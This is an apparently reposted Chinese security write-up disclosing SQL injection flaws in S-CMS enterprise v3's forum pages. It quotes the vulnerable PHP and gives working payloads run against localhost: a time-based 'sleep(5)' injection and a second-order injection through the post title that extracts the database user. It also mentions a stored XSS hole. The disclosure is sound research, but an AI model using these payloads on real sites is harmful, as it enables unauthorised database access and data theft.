1. 程式人生 > >S-CMS企建v3二次SQL註入

S-CMS企建v3二次SQL註入

etc success alt soc 是我 mysqli 拼接 而在 演示

S-CMS企建v3二次SQL註入

0x01 前言

繼上一篇的S-CMS漏洞再來一波!
首發T00ls

0x2 目錄

Sql註入
二次SQL註入

0x03 Sql註入

漏洞文件:\scms\bbs\bbs.php

$action=$_GET["action"];
$S_id=$_GET["S_id"];
if($action=="add"){
$B_title=htmlspecialchars($_POST["B_title"]);
$B_sort=$_POST["B_sort"];
$B_content=htmlspecialchars($_POST["B_content"]);
$S_sh=getrs("select * from SL_bsort where S_id=".intval($B_sort),"S_sh");
if($S_sh==1){
$B_sh=0;
}else{
$B_sh=1;
}
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values(‘".$B_title."‘,‘".$B_content."‘,‘".date(‘Y-m-d H:i:s‘)."‘,".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values(‘".$B_title."‘,‘".$B_content."‘,‘".date(‘Y-m-d H:i:s‘)."‘,".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");
$sql="Select * from SL_bbs order by B_id desc limit 1";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
    if (mysqli_num_rows($result) > 0) {
        $B_id=$row["B_id"];
    }

相對來說這個註入比較簡單,$B_sort 無過濾直接從POST獲取,然而在SELECT查詢的時候使用了intval函數來過濾變量。不過後面在insert的時候卻沒有任何過濾(無單引號包含)導致sql註入。

漏洞驗證:
—Payload:
——http://127.0.0.1/scms/bbs/bbs.php?action=add
——B_title=test&B_content=test11&B_sort=1 and sleep(5)
技術分享圖片
$debug調試信息:
Insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values(‘test‘,‘test11‘,‘2018-12-08 14:21:25‘,17,1 and sleep(5),0)

0x04 二次註入

漏洞文件:
\scms\bbs\bbs.php
\scms\bbs\item.php

先看一下漏洞觸發點:

$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;
    $result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
    if (mysqli_num_rows($result) > 0) {
    $B_title=lang($row["B_title"]);
    $B_content=lang($row["B_content"]);
    $B_time=$row["B_time"];
    $B_sort=$row["B_sort"];
    $S_title=lang($row["S_title"]);
    $B_view=$row["B_view"];
    $M_login=$row["M_login"];
    $M_pic=$row["M_pic"];
    $L_title=$row["L_title"];
    }
if(substr($M_pic,0,4)!="http"){
$M_pic="../media/".$M_pic;
}
$sql2="Select count(*) as B_count from SL_bbs where B_sub=".$id;

$result2 = mysqli_query($conn, $sql2);
$row2 = mysqli_fetch_assoc($result2);
$B_count=$row2["B_count"];
if($action=="reply"){
$B_contentx=$_POST["B_content"];
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values(‘[回復]".$B_title."‘,‘".$B_contentx."‘,‘".date(‘Y-m-d H:i:s‘)."‘,".$_SESSION["M_id"].",".$id.",".$B_sort.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values(‘[回復]".$B_title."‘,‘".$B_contentx."‘,‘".date(‘Y-m-d H:i:s‘)."‘,".$_SESSION["M_id"].",".$id.",".$B_sort.")");
box("回復成功!","item.php?id=".$id,"success");
}

簡單說一下邏輯,第一步執行的sql語句是查詢帖子的詳細內容($id帖子id)
$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;
然後把查詢到的內容各自賦給一個變量

    $B_title=lang($row["B_title"]);
    $B_content=lang($row["B_content"]);
    $B_time=$row["B_time"];
    $B_sort=$row["B_sort"];
..............................

到後面判斷$action=="reply",進入回復帖子功能處

if($action=="reply"){
$B_contentx=$_POST["B_content"];
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values(‘[回復]".$B_title."‘,‘".$B_contentx."‘,‘".date(‘Y-m-d H:i:s‘)."‘,".$_SESSION["M_id"].",".$id.",".$B_sort.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values(‘[回復]".$B_title."‘,‘".$B_contentx."‘,‘".date(‘Y-m-d H:i:s‘)."‘,".$_SESSION["M_id"].",".$id.",".$B_sort.")");
box("回復成功!","item.php?id=".$id,"success");
}

可以看到$B_contentx=$_POST["B_content"]無過濾,這裏會觸發儲存xss漏洞。然而這個不是重點,繼續看執行的insert語句,發現$B_title等變量都拼接了進來,沒有sql過濾,而這些變量是從數據庫查詢出來的(帖子的標題等),然而回過頭去看上面的sql註入,不就是發帖功能的地方麽。所以這些變量可控,導致二次sql註入。

漏洞觸發流程:
—首先我們去發帖B_title的值是我們的payload,還有其他的值
——B_title=‘,(select user()),‘‘,1,999,1)%23&B_content=aaaaaaaaaaaa&B_sort=1
—然後我們去獲取帖子id,這個沒有特別好的辦法只能去摸索著找,可以先根據樓層判斷一共有多少帖子,然後一點一點的往後找,根據內容判斷是否是我們發布的帖子
——http://127.0.0.1//scms/bbs/item.php?id=帖子id
—獲取到帖子後去觸發漏洞
——http://127.0.0.1//scms/bbs/item.php?action=reply&id=帖子id
——B_content=test
—這裏我說一下payload為什麽是這樣的,這樣構造完全是為了達到回顯註入,因為後面打印回復內容的時候執行的sql註入是
——$sql="select * from SL_bbs where B_sub=".$id." order by B_id asc";
—而B_sub可控(在Insert的時候插入的),這樣我們就能直接獲取回顯。

漏洞演示:
—Payload1
——127.0.0.1/scms/bbs/bbs.php?action=add
——B_title=‘,(select user()),‘‘,1,666,1)%23&B_content=hello_admin&B_sort=1
技術分享圖片

—Payload2
——獲取帖子id
——http://127.0.0.1//scms/bbs/item.php?id=30
技術分享圖片

—Payload3
——http://127.0.0.1//scms/bbs/item.php?action=reply&id=30
——B_content=test
技術分享圖片

執行完成!最後我們就可以去訪問我們的回復然後拿到回顯。
http://127.0.0.1//scms/bbs/item.php?id=666
這次id參數指向的是我們填的B_sub值
技術分享圖片

0x05 結束語

之前建的群由於某些原因解散了,說聲抱歉!

S-CMS企建v3二次SQL註入